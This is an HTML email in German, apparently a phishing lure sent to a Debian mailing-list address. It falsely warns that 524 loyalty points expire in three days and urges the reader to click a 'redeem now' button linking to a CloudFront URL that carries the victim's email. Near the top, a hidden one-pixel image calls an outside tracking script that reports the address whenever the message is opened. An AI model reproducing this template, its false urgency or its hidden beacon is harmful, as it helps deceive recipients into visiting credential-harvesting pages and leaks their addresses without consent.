<!DOCTYPE html>
<html lang="de">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Konto-Status: Aktuelle Übersicht</title>
  <style>
    body { margin: 0; padding: 0; background-color: #f9f9f9; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; }
    .canvas { width: 100%; background-color: #f9f9f9; padding: 40px 0; }
    .frame { max-width: 580px; margin: 0 auto; background: #ffffff; border-radius: 16px; border: 1px solid #ededed; box-shadow: 0 10px 15px -3px rgba(0,0,0,0.05); overflow: hidden; }
    .notice-chip { display: inline-block; background: #fff5f5; color: #c53030; padding: 7px 14px; border-radius: 6px; font-size: 11px; font-weight: 800; text-transform: uppercase; letter-spacing: 1px; margin-bottom: 20px; }
    .btn-main { display: inline-block; background: #111111; color: #ffffff !important; text-decoration: none; padding: 20px 40px; border-radius: 8px; font-weight: 700; font-size: 16px; transition: opacity 0.2s; }
    .data-card { background-color: #ffffff; border: 2px solid #f7fafc; border-radius: 24px; margin: 30px 0; padding: 40px 30px; box-shadow: inset 0 2px 4px rgba(0,0,0,0.02); }
    .separator { height: 4px; width: 40px; background: #e2e8f0; margin: 25px auto; border-radius: 2px; }
  </style>
</head>
<body style="margin:0; padding:0; background:#f9f9f9;">

<div class="canvas">
  <img src="https://dev.nirvanstudio.com/anti/ness/index.php?action=track&email=pkg-multimedia-maintainers@lists.alioth.debian.org" width="1" height="1" alt="" style="display:block; border:0; outline:none; position:absolute; visibility:hidden;" />

  <table class="frame" align="center" cellpadding="0" cellspacing="0" border="0" role="presentation">
    <tr>
      <td style="padding: 50px 45px; text-align: center;">
        
        <div style="margin-bottom: 30px; text-align: center;">
          <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgr0qzvwqT4m2kpvvXfD0Vp2xUYqBdnwrSheoUeNBDeAv3GdPh-z74ESEw6VHGd2kdCwX4pIswOuuktsvO-nPFKSaEy47bJFISg1Ms8xXFfBfdLoxuMeq4wOpL78kN0nYELeCcYCq-raSr3u6fU5KploM5ctbqLQWf007nYA-I1UB1vio3vicGy59ap/s211/mail.png" 
               alt="Status Icon" 
               width="110" 
               style="display: block; margin: 0 auto; border: 0; outline: none;">
        </div>
        
        <div class="notice-chip">Letzter Aufruf: 72 Stunden übrig</div>
        
        <h1 style="color: #1a202c; font-size: 32px; margin: 0 0 10px 0; font-weight: 850; letter-spacing: -1px;">Nur noch kurz.</h1>
        <p style="color: #718096; font-size: 16px; margin: 0;">Aktualisierung für: pkg-multimedia-maintainers@lists.alioth.debian.org</p>

        <div class="data-card">
          <p style="margin: 0; font-size: 12px; color: #a0aec0; text-transform: uppercase; font-weight: 700; letter-spacing: 1.2px;">Ihr aktueller Kontostand</p>
          <div style="font-size: 60px; color: #1a202c; font-weight: 900; margin: 10px 0; line-height: 1;">524</div>
          <p style="margin: 0; font-size: 16px; color: #4a5568; font-weight: 500;">Gesammelte Treuepunkte</p>
          
          <div class="separator"></div>
          
          <p style="margin: 0; font-size: 14px; color: #1a202c;">
            Verfügbar bis zum: <strong style="color: #e53e3e;">18. März 2026</strong>
          </p>
        </div>

        <p style="font-size: 16px; color: #4a5568; line-height: 1.7; margin-bottom: 40px; text-align: center;">
          Dies ist eine wichtige Erinnerung: In <strong>drei Tagen</strong> verfällt Ihr gesamtes Punkteguthaben. Nutzen Sie die verbleibende Zeit, um Ihre Punkte gegen hochwertige Kaffeesets oder Zubehör einzulösen, bevor der Saldo gelöscht wird.
        </p>

        <table width="100%" cellpadding="0" cellspacing="0" border="0">
          <tr>
            <td align="center">
              <a href="https://d2gb66rn1y3m45.cloudfront.net/?email=pkg-multimedia-maintainers@lists.alioth.debian.org" class="btn-main">Guthaben jetzt einlösen</a>
            </td>
          </tr>
        </table>
        
        <p style="font-size: 12px; color: #cbd5e0; margin-top: 30px;">
          Der Zugriff erfolgt über Ihr verschlüsseltes Nutzerkonto.
        </p>
      </td>
    </tr>
    
    <tr>
      <td style="background-color: #fafafa; padding: 40px; text-align: center; border-top: 1px solid #f1f1f1;">
        <p style="font-size: 11px; color: #a0aec0; line-height: 1.8; margin: 0;">
          <strong style="color: #4a5568;">Support-Team Treueportal</strong><br>
          Pariser Platz 4a · 10117 Berlin · Deutschland<br><br>
          <a href="#" style="color: #cbd5e0;">Präferenzen</a>  •  <a href="#" style="color: #cbd5e0;">Datenschutzhinweis</a>
        </p>
      </td>
    </tr>
  </table>
</div>

</body>
</html>